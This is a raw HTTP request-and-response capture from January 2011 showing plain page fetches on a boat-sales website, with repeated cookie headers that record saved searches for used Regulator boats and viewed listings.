VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:42 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/termOfUse.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:39 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/advancedSearch.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:43 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/listing/cache/searchResults.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:50 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/personalboatshopper/pbs.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:59 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/services/services.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:05 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
